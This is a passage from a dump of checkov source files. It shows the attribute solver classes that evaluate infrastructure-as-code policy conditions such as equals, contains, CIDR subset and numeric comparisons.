    "content": "from checkov.common.checks_infra.solvers.attribute_solvers.any_attribute_solver import AnyResourceSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.contains_attribute_solver import ContainsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_contains_attribute_solver import NotContainsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.ending_with_attribute_solver import EndingWithAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.equals_attribute_solver import EqualsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.regex_match_attribute_solver import RegexMatchAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.exists_attribute_solver import ExistsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_ending_with_attribute_solver import NotEndingWithAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_equals_attribute_solver import NotEqualsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_regex_match_attribute_solver import NotRegexMatchAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_exists_attribute_solver import NotExistsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_starting_with_attribute_solver import NotStartingWithAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.starting_with_attribute_solver import StartingWithAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.within_attribute_solver import WithinAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_within_attribute_solver import NotWithinAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.greater_than_attribute_solver import GreaterThanAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.greater_than_or_equal_attribute_solver import GreaterThanOrEqualAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.less_than_attribute_solver import LessThanAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.less_than_or_equal_attribute_solver import LessThanOrEqualAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.subset_attribute_solver import SubsetAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_subset_attribute_solver import NotSubsetAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.is_empty_attribute_solver import IsEmptyAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.is_not_empty_attribute_solver import IsNotEmptyAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.length_equals_attribute_solver import LengthEqualsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.length_not_equals_attribute_solver import LengthNotEqualsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.length_greater_than_attribute_solver import LengthGreaterThanAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.length_greater_than_or_equal_attribute_solver import LengthGreaterThanOrEqualAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.length_less_than_attribute_solver import LengthLessThanAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.length_less_than_or_equal_attribute_solver import LengthLessThanOrEqualAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.is_true_attribute_solver import IsTrueAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.is_false_attribute_solver import IsFalseAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.intersects_attribute_solver import IntersectsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_intersects_attribute_solver import NotIntersectsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.equals_ignore_case_attribute_solver import EqualsIgnoreCaseAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.not_equals_ignore_case_attribute_solver import NotEqualsIgnoreCaseAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.range_includes_attribute_solver import RangeIncludesAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.range_not_includes_attribute_solver import RangeNotIncludesAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_equals_attribute_solver import NumberOfWordsEqualsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_not_equals_attribute_solver import NumberOfWordsNotEqualsAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_greater_than_attribute_solver import NumberOfWordsGreaterThanAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_greater_than_or_equal_attribute_solver import NumberOfWordsGreaterThanOrEqualAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_less_than_or_equal_attribute_solver import NumberOfWordsLessThanOrEqualAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_less_than_attribute_solver import NumberOfWordsLessThanAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.cidr_range_subset_attribute_solver import CIDRRangeSubsetAttributeSolver  # noqa\nfrom checkov.common.checks_infra.solvers.attribute_solvers.cidr_range_not_subset_attribute_solver import CIDRRangeNotSubsetAttributeSolver  # noqa\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/any_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass AnyResourceSolver(BaseAttributeSolver):\n    operator = Operators.ANY  # noqa: CCE003  # a static attribute\n    is_value_attribute_check = False  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return vertex is not None\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/base_attribute_solver.py",
    "content": "from __future__ import annotations\n\nimport concurrent.futures\nimport logging\nimport re\nimport json\nfrom typing import List, Tuple, Dict, Any, Optional, Pattern, TYPE_CHECKING\n\nfrom bc_jsonpath_ng.ext import parse\nfrom networkx import DiGraph\n\nfrom checkov.common.graph.checks_infra import debug\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\n\nfrom concurrent.futures import ThreadPoolExecutor\n\nfrom checkov.common.graph.graph_builder import CustomAttributes, reserved_attributes_to_scan, wrap_reserved_attributes\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.util.var_utils import is_terraform_variable_dependent\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType as TerraformBlockType\n\nif TYPE_CHECKING:\n    from bc_jsonpath_ng import JSONPath\n    from checkov.common.typing import LibraryGraph\n\nSUPPORTED_BLOCK_TYPES = {BlockType.RESOURCE, TerraformBlockType.DATA, TerraformBlockType.MODULE, TerraformBlockType.PROVIDER}\nWILDCARD_PATTERN = re.compile(r\"(\\S+[.][*][.]*)+\")\n\n\nclass BaseAttributeSolver(BaseSolver):\n    operator = \"\"  # noqa: CCE003  # a static attribute\n    is_value_attribute_check = True  # noqa: CCE003  # a static attribute\n    jsonpath_parsed_statement_cache: \"dict[str, JSONPath]\" = {}  # noqa: CCE003  # global cache\n\n    def __init__(\n        self, resource_types: List[str], attribute: Optional[str], value: Any, is_jsonpath_check: bool = False\n    ) -> None:\n        super().__init__(SolverType.ATTRIBUTE)\n        self.resource_types = resource_types\n        self.attribute = attribute if attribute not in reserved_attributes_to_scan else wrap_reserved_attributes(attribute)\n        self.value = value\n        self.is_jsonpath_check = is_jsonpath_check\n\n    def run(self, graph_connector: LibraryGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        executer = ThreadPoolExecutor()\n        jobs = []\n        passed_vertices: List[Dict[str, Any]] = []\n        failed_vertices: List[Dict[str, Any]] = []\n        unknown_vertices: List[Dict[str, Any]] = []\n\n        if isinstance(graph_connector, DiGraph):\n            for _, data in graph_connector.nodes(data=True):\n                if self.resource_type_pred(data, self.resource_types) \\\n                        and data.get(CustomAttributes.BLOCK_TYPE) in SUPPORTED_BLOCK_TYPES:\n                    jobs.append(executer.submit(\n                        self._process_node, data, passed_vertices, failed_vertices, unknown_vertices))\n\n            concurrent.futures.wait(jobs)\n            return passed_vertices, failed_vertices, unknown_vertices\n\n        for _, data in graph_connector.nodes():\n            if self.resource_type_pred(data, self.resource_types) and data.get(CustomAttributes.BLOCK_TYPE) in SUPPORTED_BLOCK_TYPES:\n                jobs.append(executer.submit(\n                    self._process_node, data, passed_vertices, failed_vertices, unknown_vertices))\n\n        concurrent.futures.wait(jobs)\n        return passed_vertices, failed_vertices, unknown_vertices\n\n    def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]:\n        # if this value contains an underendered variable, then we cannot evaluate value checks,\n        # and will return None (for UNKNOWN)\n        # handle edge cases in some policies that explicitly look for blank values\n        # we also need to check the attribute stack - e.g., if they are looking for tags.component, but tags = local.tags,\n        # then we actually need to see if tags is variable dependent as well\n        attr_parts = self.attribute.split('.')  # type:ignore[union-attr]  # due to attribute can be None (but not really)\n        attr_to_check = None\n        for attr in attr_parts:\n            attr_to_check = f'{attr_to_check}.{attr}' if attr_to_check else attr\n            value_to_check = vertex.get(attr_to_check)\n            value_to_check = self._render_json_str(value_to_check, attr, vertex)\n\n            # we can only check is_attribute_value_check when evaluating the full attribute\n            # for example, if we have a policy that says \"tags.component exists\", and tags = local.tags, then\n            # we need to check if tags is variable dependent even though this is a not value_attribute check\n            if (attr_to_check != self.attribute or self.is_value_attribute_check) \\\n                    and self._is_variable_dependant(value_to_check, vertex['source_']) \\\n                    and self.value != '':\n                return None\n\n        if self.attribute and (self.is_jsonpath_check or re.match(WILDCARD_PATTERN, self.attribute)):\n            attribute_matches = self.get_attribute_matches(vertex)\n            filtered_attribute_matches = attribute_matches\n            if self.is_value_attribute_check and self.value != '':\n                filtered_attribute_matches = []\n                for attribute in attribute_matches:\n                    resource_variable_dependant = self._is_variable_dependant(vertex.get(attribute), vertex['source_'])\n                    policy_variable_dependant = self._is_variable_dependant(self.value, vertex['source_'])\n                    if not resource_variable_dependant or resource_variable_dependant and policy_variable_dependant:\n                        filtered_attribute_matches.append(attribute)\n            if attribute_matches:\n                result = self._evaluate_attribute_matches(\n                    vertex=vertex,\n                    attribute_matches=attribute_matches,\n                    filtered_attribute_matches=filtered_attribute_matches,\n                )\n                if result is not None:\n                    # skip unknown\n                    debug.attribute_block(\n                        resource_types=self.resource_types,\n                        attribute=self.attribute,\n                        operator=self.operator,\n                        value=self.value,\n                        resource=vertex,\n                        status=\"passed\" if result is True else \"failed\",\n                    )\n\n                return result\n\n        result = self.resource_type_pred(vertex, self.resource_types) and self._get_operation(\n            vertex=vertex, attribute=self.attribute\n        )\n\n        debug.attribute_block(\n            resource_types=self.resource_types,\n            attribute=self.attribute,\n            operator=self.operator,\n            value=self.value,\n            resource=vertex,\n            status=\"passed\" if result is True else \"failed\",\n        )\n\n        return result\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        raise NotImplementedError\n\n    def _process_node(\n        self, data: Dict[str, Any], passed_vartices: List[Dict[str, Any]], failed_vertices: List[Dict[str, Any]],\n            unknown_vertices: List[Dict[str, Any]]\n    ) -> None:\n        if not self.resource_type_pred(data, self.resource_types):\n            return\n        result = self.get_operation(vertex=data)\n        # A None indicate for UNKNOWN result - the vertex shouldn't be added to the passed or the failed vertices\n        if result is None:\n            unknown_vertices.append(data)\n        elif result:\n            passed_vartices.append(data)\n        else:\n            failed_vertices.append(data)\n\n    # override in case we need to check all values in a list\n    def should_check_all_condition(self) -> bool:\n        return self.is_jsonpath_check\n\n    def _evaluate_attribute_matches(\n        self, vertex: dict[str, Any], attribute_matches: list[str], filtered_attribute_matches: list[str]\n    ) -> bool | None:\n        if self.should_check_all_condition():\n            if self.resource_type_pred(vertex, self.resource_types) and all(\n                self._get_operation(vertex=vertex, attribute=attr) for attr in filtered_attribute_matches\n            ):\n                return True if len(attribute_matches) == len(filtered_attribute_matches) else None\n            return False\n\n        if self.resource_type_pred(vertex, self.resource_types) and any(\n            self._get_operation(vertex=vertex, attribute=attr) for attr in filtered_attribute_matches\n        ):\n            return True\n        return False if len(attribute_matches) == len(filtered_attribute_matches) else None\n\n    def get_attribute_matches(self, vertex: Dict[str, Any]) -> List[str]:\n        try:\n            attribute_matches: List[str] = []\n            if self.is_jsonpath_check and self.attribute:\n                parsed_attr = self._get_cached_jsonpath_statement(statement=self.attribute)\n\n                for match in parsed_attr.find(vertex):\n                    full_path = str(match.full_path)\n                    if full_path not in vertex:\n                        vertex[full_path] = match.value\n\n                    attribute_matches.append(full_path)\n            elif isinstance(self.attribute, str):\n                attribute_patterns = self.get_attribute_patterns(self.attribute)\n                attribute_parts = [attr for attr in self.attribute.split(\".\") if attr != \"*\"]\n                for attr in vertex:\n                    if any(part not in attr for part in attribute_parts):\n                        # if even one attribute part doesn't exist in the vertex attribute, then no need to further proceed\n                        continue\n                    if any(re.match(attribute_pattern, attr) for attribute_pattern in attribute_patterns):\n                        attribute_matches.append(attr)\n\n            return attribute_matches\n        except Exception:\n            logging.debug('Error parsing or evaluating jsonpath expression', exc_info=True)\n            raise\n\n    @staticmethod\n    def get_attribute_patterns(attribute: str) -> Tuple[Pattern[str], Pattern[str]]:\n        index_pattern = r\"[\\d]+\"\n        split_by_dots = attribute.split(\".\")\n\n        pattern_parts = []\n        pattern_parts_without_index = []\n        for attr_part in split_by_dots:\n            if attr_part == \"*\":\n                pattern_parts.append(index_pattern)\n            else:\n                attr_part_pattern = f\"({attr_part})\"\n                pattern_parts.append(attr_part_pattern)\n                pattern_parts_without_index.append(attr_part_pattern)\n\n        pattern = f'^{\"[.]\".join(pattern_parts)}$'\n        pattern_with_index = re.compile(pattern)\n\n        pattern = f'^{\"[.]\".join(pattern_parts_without_index)}$'\n        pattern_without_index = re.compile(pattern)\n\n        return pattern_with_index, pattern_without_index\n\n    @staticmethod\n    def _is_variable_dependant(value: Any, source: str) -> bool:\n        if source.lower() == 'terraform' and is_terraform_variable_dependent(value):\n            return True\n        # TODO add logic for CloudFormation\n        # elif source == 'CloudFormation' and is_cloudformation_variable_dependent(value):\n        #     return True\n\n        return False\n\n    @staticmethod\n    def _render_json_str(value_to_check: Any, attr: str, vertex: Dict[str, Any]) -> Any:\n        if attr == 'policy' and vertex.get('resource_type', '').endswith('policy'):\n            if isinstance(value_to_check, dict):\n                # it was already properly loaded\n                return value_to_check\n\n            try:\n                value_to_check = json.loads(value_to_check)\n                return value_to_check\n            except Exception as e:\n                logging.info(f'cant parse policy str to object, {str(e)}')\n        return value_to_check\n\n    def _get_cached_jsonpath_statement(self, statement: str) -> JSONPath:\n        \"\"\"Returns the parsed jsonpath statement from the cache or adds it\"\"\"\n\n        if statement not in BaseAttributeSolver.jsonpath_parsed_statement_cache:\n            parsed_attr = parse(statement)\n            BaseAttributeSolver.jsonpath_parsed_statement_cache[statement] = parsed_attr\n            return parsed_attr\n\n        return BaseAttributeSolver.jsonpath_parsed_statement_cache[statement]\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/base_number_of_words_attribute_solver.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.util.type_forcers import force_int\n\nif TYPE_CHECKING:\n    from typing_extensions import TypeGuard\n\n\nclass BaseNumberOfWordsAttributeSolver(BaseAttributeSolver):\n    operator = Operators.NUMBER_OF_WORDS_GREATER_THAN  # noqa: CCE003  # a static attribute\n\n    def _validate_vertex_value(self, attr: Any) -> TypeGuard[str]:\n        return isinstance(attr, str)\n\n    def _get_number_of_words(self, attr: str) -> int:\n        return len(attr.split())\n\n    def _numerize_value(self) -> int | None:\n        return force_int(self.value)\n\n    def _get_operation(self, vertex: dict[str, Any], attribute: str | None) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        return self._validate_vertex_value(attr)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/cidr_range_not_subset_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.cidr_range_subset_attribute_solver import CIDRRangeSubsetAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass CIDRRangeNotSubsetAttributeSolver(CIDRRangeSubsetAttributeSolver):\n    operator = Operators.CIDR_RANGE_NOT_SUBSET  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/cidr_range_subset_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict, Set, Tuple, Union, List\nimport ipaddress\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass CIDRRangeSubsetAttributeSolver(BaseAttributeSolver):\n    operator = Operators.CIDR_RANGE_SUBSET  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        if attribute is None:\n            return False  # Explicitly handle None attribute\n\n        attr_val = vertex.get(attribute)\n        if not attr_val:\n            return False\n\n        # Convert the solver value into sets of IPv4 and IPv6 CIDR networks\n        allowed_ranges_v4, allowed_ranges_v6 = self._to_cidr_sets(self.value)\n        # Convert the vertex attribute to sets of IPv4 and IPv6 CIDR networks\n        vertex_ranges_v4, vertex_ranges_v6 = self._to_cidr_sets(attr_val)\n\n        # Check if all vertex ranges are subsets of at least one of the allowed ranges\n        v4_subset_check = all(\n            any(vertex_cidr.subnet_of(allowed_cidr) for allowed_cidr in allowed_ranges_v4)\n            for vertex_cidr in vertex_ranges_v4\n        )\n        v6_subset_check = all(\n            any(vertex_cidr.subnet_of(allowed_cidr) for allowed_cidr in allowed_ranges_v6)\n            for vertex_cidr in vertex_ranges_v6\n        )\n\n        return v4_subset_check and v6_subset_check\n\n    @staticmethod\n    def _to_cidr_sets(value: Union[str, List[str], Set[str]]) -> Tuple[Set[ipaddress.IPv4Network], Set[ipaddress.IPv6Network]]:\n        \"\"\"\n        Converts a value (string, list, set, etc.) into separate sets of IPv4Network and IPv6Network objects.\n        \"\"\"\n        cidr_set_v4 = set()\n        cidr_set_v6 = set()\n        if isinstance(value, str):\n            network = ipaddress.ip_network(value, strict=False)\n            if isinstance(network, ipaddress.IPv4Network):\n                cidr_set_v4.add(network)\n            elif isinstance(network, ipaddress.IPv6Network):\n                cidr_set_v6.add(network)\n        elif isinstance(value, (list, set)):\n            for v in value:\n                network = ipaddress.ip_network(v, strict=False)\n                if isinstance(network, ipaddress.IPv4Network):\n                    cidr_set_v4.add(network)\n                elif isinstance(network, ipaddress.IPv6Network):\n                    cidr_set_v6.add(network)\n        else:\n            raise ValueError(f\"Unsupported type for CIDR conversion: {type(value)}\")\n        return cidr_set_v4, cidr_set_v6\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/contains_attribute_solver.py",
    "content": "import json\nimport logging\nfrom typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\nclass ContainsAttributeSolver(BaseAttributeSolver):\n    operator = Operators.CONTAINS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        att = vertex.get(attribute, \"{}\")  # type:ignore[arg-type]  # due to attribute can be None\n        att = \"{}\" if att is None else att\n        if isinstance(att, str):\n            try:\n                att = json.loads(att.replace(\"'\", '\"'))\n            except ValueError:\n                pass\n        if isinstance(att, dict):\n            return self.value in att or any(self.value in val for val in att.values() if type(val) in [str, list, set, dict])\n        return self.value in att\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/ending_with_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass EndingWithAttributeSolver(BaseAttributeSolver):\n    operator = Operators.CONTAINS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        return isinstance(attr, str) and attr.endswith(self.value)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/equals_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass EqualsAttributeSolver(BaseAttributeSolver):\n    operator = Operators.EQUALS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr_val = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        if isinstance(attr_val, bool) or isinstance(self.value, bool):\n            # handle cases like str(False) == \"false\"\n            # generally self.value will be a string, but could be a bool if the policy was created straight from json\n            return str(attr_val).lower() == str(self.value).lower()\n        elif (isinstance(attr_val, list) and isinstance(self.value, list)) or (isinstance(attr_val, dict) and isinstance(self.value, dict)):\n            return attr_val == self.value\n        else:\n            return str(attr_val) == str(self.value)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/equals_ignore_case_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass EqualsIgnoreCaseAttributeSolver(BaseAttributeSolver):\n    operator = Operators.EQUALS_IGNORE_CASE  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr_val = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        # if this value contains an underendered variable, then we cannot evaluate the check,\n        # so return True (since we cannot return UNKNOWN)\n        # handle edge cases in some policies that explicitly look for blank values\n        if self.value != '' and self._is_variable_dependant(attr_val, vertex['source_']):\n            return True\n        return str(attr_val).lower() == str(self.value).lower()\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/exists_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass ExistsAttributeSolver(BaseAttributeSolver):\n    operator = Operators.EXISTS  # noqa: CCE003  # a static attribute\n    is_value_attribute_check = False  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return vertex.get(attribute) is not None  # type:ignore[arg-type]  # due to attribute can be None\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/greater_than_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.util.type_forcers import force_float\n\n\nclass GreaterThanAttributeSolver(BaseAttributeSolver):\n    operator = Operators.GREATER_THAN  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        vertex_attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        attr_float = force_float(vertex_attr)\n        value_float = force_float(self.value)\n\n        if vertex_attr is None:\n            return False\n        elif attr_float and value_float:\n            return attr_float > value_float\n        else:\n            return str(vertex_attr) > str(self.value)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/greater_than_or_equal_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.util.type_forcers import force_float\n\n\nclass GreaterThanOrEqualAttributeSolver(BaseAttributeSolver):\n    operator = Operators.GREATER_THAN_OR_EQUAL  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n\n        vertex_attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        attr_float = force_float(vertex_attr)\n        value_float = force_float(self.value)\n\n        if vertex_attr is None:\n            return False\n        elif attr_float and value_float:\n            return attr_float >= value_float\n        else:\n            return str(vertex_attr) >= str(self.value)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/intersects_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict, Collection\nfrom collections.abc import Iterable\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass IntersectsAttributeSolver(BaseAttributeSolver):\n    operator = Operators.INTERSECTS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n\n        if isinstance(self.value, str) and isinstance(attr, Iterable):\n            return self.value in attr\n\n        if isinstance(self.value, Collection) and isinstance(attr, Iterable):\n            return any(i in self.value for i in attr)\n\n        return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/is_empty_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\nfrom collections.abc import Collection\n\nimport hcl2\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.util.consts import START_LINE, END_LINE\n\n\nclass IsEmptyAttributeSolver(BaseAttributeSolver):\n    operator = Operators.IS_EMPTY  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n\n        if isinstance(attr, (list, Collection)):\n            if len(attr) == 0 \\\n                    or (len(attr) == 2 and START_LINE in attr and END_LINE in attr) \\\n                    or (len(attr) == 2 and hcl2.START_LINE in attr and hcl2.END_LINE in attr):\n                return True\n\n        return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/is_false_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .is_true_attribute_solver import IsTrueAttributeSolver\n\n\nclass IsFalseAttributeSolver(IsTrueAttributeSolver):\n    operator = Operators.IS_FALSE  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/is_not_empty_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .is_empty_attribute_solver import IsEmptyAttributeSolver\n\n\nclass IsNotEmptyAttributeSolver(IsEmptyAttributeSolver):\n    operator = Operators.IS_NOT_EMPTY  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/is_true_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass IsTrueAttributeSolver(BaseAttributeSolver):\n    operator = Operators.IS_TRUE  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        if attr is None:\n            return False\n\n        return attr is True\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/length_equals_attribute_solver.py",
